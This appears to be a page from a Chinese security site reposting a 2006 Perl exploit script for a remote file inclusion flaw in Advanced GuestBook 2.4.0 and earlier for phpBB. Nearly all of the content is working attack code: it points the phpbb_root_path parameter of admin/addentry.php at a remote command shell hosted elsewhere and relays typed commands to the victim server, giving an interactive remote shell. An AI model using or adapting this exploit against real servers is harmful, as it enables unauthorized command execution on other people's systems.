首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Advanced GuestBook <= 2.4.0 (phpBB) Remote File Inclusion Exploit
来源:n0m3rcy@bsdmail.org 作者:n0m3rcy 发布时间:2006-04-29  

#!usr/bin/perl
use LWP::UserAgent;
# Bug Found by [Oo]
# Exploit coded by n0m3rcy
# Copyright (c) 2006 n0m3rcy@bsdmail.org
# Gr33tz; nukedx , Devil-00 , str0ke , cijfer
# Usage; n0ag.pl <target> <cmd shell location> <cmd shell variable>
if (@ARGV ne 3) { &usage; }
else { &exploit; }
sub header() {
print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";
print "+ Advanced GuestBook for phpBB <= 2.4.0 Remote File Inclusion Exploit +\r\n";
print "+ Bug found by [Oo] +\r\n";
print "+ Copyright (c) 2006 n0m3rcy@bsdmail.org +\r\n";
print "+ Gr33tz: nukedx , cijfer , str0ke , Devil-00 +\r\n";
print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";
}
sub usage() {
&header;
print "- Usage: $0 <target> <cmd shell location> <cmd shell variable>\r\n";
print "- <target> -> Victim's target ex: www.victim.com/path/\r\n";
print "- <cmd shell location> -> www.milw0rm.com/shelltxt\r\n";
print "- <cmd shell variable> -> cmd\r\n";
exit();
}
sub exploit () {
my $tar = $ARGV[0];
my $cmdt = $ARGV[1];
my $cmdv = $ARGV[2];
while() {
print "[CMD] \$";
while(<STDIN>) {
$cmd=$_;
chomp($cmd);
my $exp = LWP::UserAgent->new() or die;
my $go = HTTP::Request->new(GET =>$tar.' admin/addentry.php?phpbb_root_path='.$cmdt.'?&'.$cmdv.'='.$cmd)or die "\r\n[-] Connected fail\n";
my $rgo = $exp->request($go);
my $return = $rgo->content;
my $return =~ tr/[\n]/[ê]/;
if (!$cmd) { print "\nPlease Enter a Command\n\n"; $return =""; }
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
{ print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit }
elsif ($return =~/^<br.\/>.<b>Fatal.error/) { print "\nInvalid Command or No Return\n\n" }
if ($return =~ /(.*)/) {
my $finreturn = $1;
my $finreturn=~ tr/[ê]/[\n]/;
print "\r\n$finreturn\n\r";
print "[+] Exploit successed\r\n";
last;
}
else { print "[CMD] \$"; }
last;
}
exit;
}
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·TopList <= 1.3.8 (phpBB Hac
·Invision Power Board <= 2.1
·BL4 SMTP Server < 0.1.5 Rem
·AWStats <= 6.5 (migrate) Re
·Invision Power Board <= 2.1
·HiveMail <= 1.3 (addressboo
·Oracle <= 10g Release 2 (DB
·acFTP FTP Server <= 1.4 (US
·OCE 3121/3122 Printer (parser.
·TinyFTPD <= 1.4 (USER) Remo
·Fenice OMS 1.10 (long get requ
·PHP-Fusion <= 6.00.306 Mult
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved